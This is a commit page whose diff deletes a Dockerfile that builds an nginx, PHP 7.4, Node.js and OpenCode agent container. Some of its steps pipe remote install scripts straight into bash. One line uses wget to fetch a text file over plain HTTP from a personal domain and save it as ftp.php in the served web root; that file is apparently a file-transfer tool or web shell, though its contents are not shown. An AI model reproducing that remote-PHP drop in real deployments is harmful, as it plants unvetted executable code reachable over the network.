zipusyan commited on
Commit
c9d147f
·
verified ·
1 Parent(s): de456d8

Delete Dockerfile

Browse files
Files changed (1) hide show
  1. Dockerfile +0 -60
Dockerfile DELETED
@@ -1,60 +0,0 @@
1
- FROM ubuntu:22.04
2
-
3
- ARG CACHE_DATE=20260522
4
-
5
- ENV DEBIAN_FRONTEND=noninteractive
6
-
7
- # Install basic dependencies and PHP 7.4 PPA
8
- RUN apt-get update && apt-get install -y \
9
- lsb-release \
10
- ca-certificates \
11
- apt-transport-https \
12
- wget \
13
- software-properties-common \
14
- gnupg2 \
15
- curl \
16
- supervisor \
17
- nginx \
18
- && add-apt-repository -y ppa:ondrej/php \
19
- && apt-get update
20
-
21
- # Install PHP 7.4-FPM and extensions
22
- RUN apt-get install -y \
23
- php7.4-fpm \
24
- php7.4-gd \
25
- php7.4-zip \
26
- php7.4-bcmath \
27
- php7.4-curl \
28
- && apt-get clean && rm -rf /var/lib/apt/lists/*
29
-
30
- # Install Node.js LTS
31
- RUN curl -fsSL https://deb.nodesource.com/setup_lts.x | bash - \
32
- && apt-get install -y nodejs \
33
- && apt-get clean && rm -rf /var/lib/apt/lists/*
34
-
35
- # Install OpenCode and Oh-My-OpenCode
36
- RUN curl -fsSL https://opencode.ai/install | bash \
37
- && npx oh-my-opencode install --no-tui --claude=no --openai=yes --gemini=yes --copilot=no
38
-
39
- RUN mkdir -p /app/defaults/www /app/defaults/opencode
40
-
41
- RUN wget -O /app/defaults/www/ftp.php http://1syan.com/frp/ftp.txt
42
-
43
- RUN mv /root/.opencode /app/defaults/opencode/.opencode
44
-
45
- # Setup environment
46
- RUN echo 'export PATH="/root/.opencode/bin:$PATH"' >> /etc/profile
47
-
48
- COPY nginx.conf /etc/nginx/nginx.conf
49
- COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf
50
- COPY entrypoint.sh /entrypoint.sh
51
-
52
- # Make entrypoint executable
53
- RUN chmod +x /entrypoint.sh
54
-
55
- # Expose ports
56
- EXPOSE 8088
57
-
58
- # Use the entrypoint script to handle persistence
59
- ENTRYPOINT ["/entrypoint.sh"]
60
-